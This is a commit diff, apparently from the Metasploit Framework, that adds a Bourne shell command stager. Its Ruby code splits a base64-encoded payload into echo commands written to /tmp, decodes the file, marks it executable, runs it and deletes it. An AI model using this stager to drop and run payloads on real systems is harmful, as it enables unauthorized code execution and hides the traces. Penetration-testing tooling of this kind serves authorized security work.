Skip to content

Commit 7aed6e4

Browse files
committed
Initial commit of the Bourne shell command stager, nothing uses it yet.
1 parent f7543e1 commit 7aed6e4

File tree

2 files changed

+149
-0
lines changed

2 files changed

+149
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
# -*- coding: binary -*-
2+
##
3+
# $Id: cmdstager_bourne.rb
4+
##
5+
6+
require 'msf/core/exploit/cmdstager'
7+
8+
module Msf
9+
10+
###
11+
#
12+
# This mixin provides an interface for staging cmd to arbitrary payloads
13+
#
14+
###
15+
module Exploit::CmdStagerBourne
16+
17+
include Msf::Exploit::CmdStager
18+
19+
def initialize(info = {})
20+
super
21+
22+
register_advanced_options(
23+
[
24+
OptString.new( 'DECODER', [ true, 'The decoding binary to use.', 'base64']),
25+
], self.class)
26+
end
27+
28+
def create_stager(exe)
29+
Rex::Exploitation::CmdStagerBourne.new(exe)
30+
end
31+
32+
def generate_cmdstager(opts = {}, pl = nil)
33+
opts.merge!({ :decoder => datastore['DECODER'] })
34+
available_decoders = ['base64', 'openssl', 'python', 'perl']
35+
if not available_decoders.include?(opts[:decoder])
36+
print_error("Decoder must be one of #{available_decoders.join(', ')}")
37+
raise ArgumentError
38+
end
39+
super
40+
end
41+
end
42+
43+
end
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
# -*- coding: binary -*-
2+
##
3+
# $Id: bourne.rb 12595 2011-05-12 18:33:49Z zeroSteiner $
4+
##
5+
6+
require 'rex/text'
7+
require 'rex/arch'
8+
require 'msf/core/framework'
9+
10+
module Rex
11+
module Exploitation
12+
13+
class CmdStagerBourne < CmdStagerBase
14+
15+
def initialize(exe)
16+
super
17+
18+
@var_encoded = Rex::Text.rand_text_alpha(5)
19+
@var_decoded = Rex::Text.rand_text_alpha(5)
20+
@decoder = nil # filled in later
21+
end
22+
23+
def generate(opts = {})
24+
opts.merge!({:temp => '/tmp/'})
25+
super
26+
end
27+
28+
#
29+
# Override just to set the extra byte count
30+
#
31+
def generate_cmds(opts)
32+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
33+
@cmd_start = "echo "
34+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
35+
xtra_len = @cmd_start.length + @cmd_end.length + 1
36+
opts.merge!({ :extra => xtra_len })
37+
super
38+
end
39+
40+
41+
#
42+
# Simple base64...
43+
#
44+
def encode_payload(opts)
45+
Rex::Text.encode_base64(@exe)
46+
end
47+
48+
49+
#
50+
# Combine the parts of the encoded file with the stuff that goes
51+
# before / after it.
52+
#
53+
def parts_to_commands(parts, opts)
54+
55+
cmds = []
56+
parts.each do |p|
57+
cmd = ''
58+
cmd << @cmd_start
59+
cmd << p
60+
cmd << @cmd_end
61+
cmds << cmd
62+
end
63+
64+
cmds
65+
end
66+
67+
68+
#
69+
# Generate the commands that will decode the file we just created
70+
#
71+
def generate_cmds_decoder(opts)
72+
case opts[:decoder]
73+
when 'base64'
74+
decoder = "base64 -d #{@tempdir}#{@var_encoded}.b64"
75+
when 'openssl'
76+
decoder = "openssl enc -d -A -base64 -in #{@tempdir}#{@var_encoded}.b64"
77+
when 'python'
78+
decoder = "python -c 'import sys; import base64; print base64.standard_b64decode(sys.stdin.read());' < #{@tempdir}#{@var_encoded}.b64"
79+
when 'perl'
80+
decoder = "perl -MIO -e 'use MIME::Base64; print decode_base64(<>);' < #{@tempdir}#{@var_encoded}.b64"
81+
end
82+
decoder << " > #{@tempdir}#{@var_decoded}.bin"
83+
[ decoder ]
84+
end
85+
86+
def compress_commands(cmds, opts)
87+
# Make it all happen
88+
cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
89+
cmds << "#{@tempdir}#{@var_decoded}.bin"
90+
91+
# Clean up after unless requested not to..
92+
if (not opts[:nodelete])
93+
cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
94+
cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
95+
end
96+
97+
super
98+
end
99+
100+
def cmd_concat_operator
101+
" ; "
102+
end
103+
104+
end
105+
end
106+
end

0 commit comments

Comments
 (0)